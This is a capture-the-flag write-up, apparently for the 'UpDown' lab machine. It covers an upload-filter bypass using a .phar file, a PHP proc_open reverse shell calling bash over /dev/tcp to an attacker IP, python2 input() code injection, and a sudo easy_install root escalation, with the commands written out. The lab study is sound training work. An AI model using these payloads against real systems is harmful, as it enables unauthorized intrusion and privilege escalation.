Going through git commits, an interesting commit revealed a way to access the dev vhost.
This means that we need to add a header Special-Dev with value only4dev in order to access the dev.siteisup.htb.
Following that we land on the main page.
This site also has the same funcionality but instead of a single website we can check multiple by uploading a list of websites in a file.
But wait! File upload means we can also upload some malicious file to execute right? Let’s try that.
Sadly uploading the php file tells us extension not allowed.
But we also have the source code so looking at the previously dumped checker.php file we can see the filtering.
The above code is checking for multiple extensions and if any of them match then it shows Extension not allowed!.
Notice we have multiple older php extensions as well. Out of which phar extension is not present in the above check.
Let’s try uploading a .phar file.
And the file got uploaded successfully.
Foothold
Now what we need is to upload a reverse shell in .phar file, then find the path of the file and then execute it to get the reverse shell.
Looking further in the source code of checker.php file.
There’s an uploads directory where it adds another directory with the name of md5 sum of the current timestamp.
So if we upload a shell.phar file then the uploaded file will be at http://dev.siteisup.htb/uploads/md5_sum_of_current_time/shell.phar.
We can have a look at http://dev.siteisup.htb/uploads directly right after uploading our file. But the file gets deleted as soon as it is read by the program.
What we can do is create a longer file with a bunch of urls to check and put our reverse shell code right after. This will hopefully give us enough time to execute the file.
Also notice that a bunch of php functions are disabled when we execute our reverse shell so the only shell that worked was with the proc_open function.
I wrote the shell modifying an example on proc_openmanual page.
http://test.com
http://test.com
http://test.com
...
...
...
<?php
$descriptorspec= array(0=> array("pipe", "r"), // stdin is a pipe that the child will read from
1=> array("pipe", "w"), // stdout is a pipe that the child will write to
2=> array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);$cwd='/tmp';$env= array('some_option'=> 'aeiou');$process= proc_open('bash', $descriptorspec, $pipes, $cwd, $env);if(is_resource($process)){ // $pipes now looks like this:
// 0=> writeable handle connected to child stdin
// 1=> readable handle connected to child stdout
// Any error output will be appended to /tmp/error-output.txt
fwrite($pipes[0], 'bash -i >& /dev/tcp/10.10.14.64/4444 0>&1'); fclose($pipes[0]);echo stream_get_contents($pipes[1]); fclose($pipes[1]); // It is important that you close any pipes before calling
// proc_close in order to avoid a deadlock
$return_value= proc_close($process);echo"command returned $return_value\n";}?>
Executing the shell we get the connection back in our machine.
www-data -> developer
Looking for interesting files, we have two files in the /home/developer/dev/ directory.
One of the files is an elf binary while the other is a python file.
siteisup binary.
Executing and looking at the strings of the binary, we can conclude that this is calling out the other file siteisup_test.py file.
So what exactly the file siteisup_test.py does? Well it also provides similar functionality and checks whether the provided site is up or not.
Contents of siteisup_test.py
1
2
3
4
5
6
7
8
importrequestsurl=input("Enter URL here:")page=requests.get(url)ifpage.status_code==200:print"Website is up"else:print"Website is down"
Running the binary, when we provide http://siteisup.htb in input it should’ve return Website is up or Website is down. But instead it throws out an error.
Now if we provide the same input but in string format as "http://siteisup.htb" it returns the correct output.
Wait but what difference did that make?
By default the /usr/bin/python is running python2 so the file siteisup_test.py is also being run in python2.
Looking at this article, we can see that the input() function of python2 is vulnerable.
If we just use plain input() in python2, instead of saving it in the variable as string, it takes it as an expression and runs our provided input.
We can take advantage of this behavior and try running system commands through this.
By reading this stackoverflow answer, I made an expression to run code through the binary.
By provide the input __import__('os').system('id'), we can see the output of the command.
Nice! we can run commands as developer.
Now simply read the ssh private key and log in as developer.
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
We can run easy_install as root without password.
Simply checking and running the gtfobins exploit of this binary we can escalate as root.
1
2
3
4
5
6
7
8
9
10
11
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.Co2hiEXh3z
Writing /tmp/tmp.Co2hiEXh3z/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.Co2hiEXh3z/egg-dist-tmp-nK7eay
# whoami
root
root.txt
1
2
3
root@updown:/tmp/tmp.Co2hiEXh3z# cd /root
root@updown:~# cat root.txt
31****************************af